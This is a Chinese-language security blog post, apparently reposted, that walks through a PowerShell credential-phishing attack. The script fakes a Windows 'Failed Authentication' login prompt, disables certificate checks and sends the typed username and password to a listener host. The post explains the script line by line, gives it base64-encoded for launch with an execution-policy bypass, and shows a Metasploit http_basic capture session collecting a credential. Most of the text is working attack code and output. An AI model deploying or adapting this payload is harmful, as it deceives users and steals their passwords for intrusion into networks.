通过powershell实现基础认证钓鱼获得密码

Posted 2020-09-03 隐念笎

本文来自https://www.secpulse.com/archives/4131.html

$cred = $host.ui.promptforcredential(‘Failed Authentication‘,‘‘,[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient;
$wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, ‘‘);
$result = $wc.downloadstring(‘https://172.16.102.163‘);

分解一下：

$cred = $host.ui.promptforcredential(‘Failed Authentication‘,‘‘,[Environment]::UserName,[Environment]::UserDomainName);

 

这步告诉windows提示凭证,我们设置的标题是“Failed Authentication”（验证失败），在弹窗里面增加了用户名和域名来提过真实性。当然这一切，都只是辅助。

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};

 

告诉powershell不要验证SSL证书(允许我们后续使用自签署的证书）

$wc = new-object net.webclient;
$wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");

 

创建一个新的webclient对象并设置它的用户代理为Wget。

$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;

 

告诉powershell使用当前用户可能在使用的任何代理及任何缓存的凭据。

 

$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, ‘‘);

 

用户在此基础认证钓鱼中输入的密码就是安全研究人员和黑客们想要的密码，对内网渗透十分有裨益。

$result = $wc.downloadstring(‘https://172.16.102.163‘);

 

最后发送请求到监听机器上 监听机器上使用metasploit的capture模块

cat power.txt | iconv --to-code UTF-16LE | base64

 

JABjAHIAZQBkACAAPQAgACQAaABvAHMAdAAuAHUAaQAuAHAAcgBvAG0AcAB0AGYAbwByAGMAcgBlAGQAZQBuAHQAaQBhAGwAKAAnAEYAYQBpAGwAZQBkACAAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuACcALAAnACcALABbAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABdADoAOgBVAHMAZQByAEQAbwBtAGEAaQBuAE4AYQBtAGUAIAArACAAIgBcACIAIAArACAAWwBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoAVQBzAGUAcgBOAGEAbQBlACwAWwBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoAVQBzAGUAcgBEAG8AbQBhAGkAbgBOAGEAbQBlACkAOwAKAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0AOwAKACQAdwBjACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ADsACgAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACIAVQBzAGUAcgAtAEEAZwBlAG4AdAAiACwAIgBXAGcAZQB0AC8AMQAuADkAKwBjAHYAcwAtAHMAdABhAGIAbABlACAAKABSAGUAZAAgAEgAYQB0ACAAbQBvAGQAaQBmAGkAZQBkACkAIgApADsACgAkAHcAYwAuAFAAcgBvAHgAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEQAZQBmAGEAdQBsAHQAVwBlAGIAUAByAG8AeAB5ADsACgAkAHcAYwAuAFAAcgBvAHgAeQAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBDAHIAZQBkAGUAbgB0AGkAYQBsAEMAYQBjAGgAZQBdADoAOgBEAGUAZgBhAHUAbAB0AE4AZQB0AHcAbwByAGsAQwByAGUAZABlAG4AdABpAGEAbABzADsACgAkAHcAYwAuAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAD0AIABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAcwB5AHMAdABlAG0ALgBuAGUAdAAuAG4AZQB0AHcAbwByAGsAYwByAGUAZABlAG4AdABpAGEAbAAoACQAYwByAGUAZAAuAHUAcwBlAHIAbgBhAG0AZQAsACAAJABjAHIAZQBkAC4AZwBlAHQAbgBlAHQAdwBvAHIAawBjAHIAZQBkAGUAbgB0AGkAYQBsACgAKQAuAHAAYQBzAHMAdwBvAHIAZAAsACAAJwAnACkAOwAKACQAcgBlAHMAdQBsAHQAIAA9ACAAJAB3AGMALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwAxADcAMgAuADEANgAuADEAMAAyAC4AMQA2ADMAJwApADsACgA=

 

base64一下上述代码

然后执行 powershell -ep bypass -enc <上述加密代码> 你就可以看到十分逼真的基础认证钓鱼窗口:

 

 

 

另外一边使用metasploit接收密码：

[email protected]:~/metasploit-framework# ./msfconsole -Lq
msf > use auxiliary/server/capture/http_basic 
msf auxiliary(http_basic) > show options

Module options (auxiliary/server/capture/http_basic):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   REALM        Secure Site      yes       The authentication realm you‘d like to present.
   RedirectURL                   no        The page to redirect users to after they enter basic auth creds
   SRVHOST      0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT      80               yes       The local port to listen on.
   SSL          false            no        Negotiate SSL for incoming connections
   SSLCert                       no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion   SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH                       no        The URI to use for this exploit (default is random)

msf auxiliary(http_basic) > set SSL true
SSL => true
msf auxiliary(http_basic) > set SRVPORT 443
SRVPORT => 443
msf auxiliary(http_basic) > set URIPATH /
URIPATH => /
msf auxiliary(http_basic) > run
[*] Auxiliary module execution completed
msf auxiliary(http_basic) > 
[*] Listening on 0.0.0.0:443...
[*] Using URL: https://0.0.0.0:443/
[*]  Local IP: https://172.16.102.163:443/
[*] Server started.
[*] 172.16.102.140   http_basic - Sending 401 to client 172.16.102.140
[+] 172.16.102.140 - Credential collected: "SITTINGDUCK\user:ASDqwe123" => /